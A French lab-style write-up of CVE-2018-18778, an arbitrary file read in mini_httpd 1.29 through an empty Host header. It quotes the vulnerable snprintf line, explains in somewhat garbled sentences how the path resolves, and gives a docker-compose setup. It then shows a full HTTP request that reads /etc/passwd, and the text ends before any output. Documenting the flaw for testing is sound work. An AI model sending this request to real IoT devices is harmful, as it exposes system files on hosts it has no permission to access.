
PoC exploit pour CVE-2018-18778 : lecture arbitraire de fichier dans mini_httpd 1.29 via un en-tête Host vide, affectant les appareils IoT de Huawei, Zyxel et d'autres.
Mini_httpd est un serveur HTTP minimaliste qui maintient un certain niveau de performance (environ 90 % d'Apache) tout en utilisant peu de ressources système. Il est donc largement utilisé comme serveur embarqué dans divers appareils IoT (routeurs, commutateurs, caméras, etc.). Des fabricants tels que Huawei, Zyxel, Hikvision, Raspberry Pi, etc., ont tous utilisé le composant Mini_httpd dans leurs appareils.
Lorsque le mode hôte virtuel est activé dans mini_httpd, une requête utilisateur http://HOST/FILE accédera au fichier HOST/FILE dans le répertoire courant.
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
Voir le code ci-dessus, analyse comme suit :
example.com et FILE=index.html, le résultat de l'instruction ci-dessus est example.com/index.html, le fichier est lu normalement.etc/passwd, le résultat de l'instruction ci-dessus est /etc/passwd./etc/passwd est lu, provoquant une vulnérabilité de lecture de fichier arbitraire.Exécutez la commande suivante pour démarrer mini_httpd 1.29 :
docker-compose up -d
Une fois l'environnement démarré, accédez à http://your-ip:8080 pour voir la page Web.
Envoyez une requête en définissant Host à vide et PATH sur le chemin absolu du fichier :
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Fichier lu avec succès :
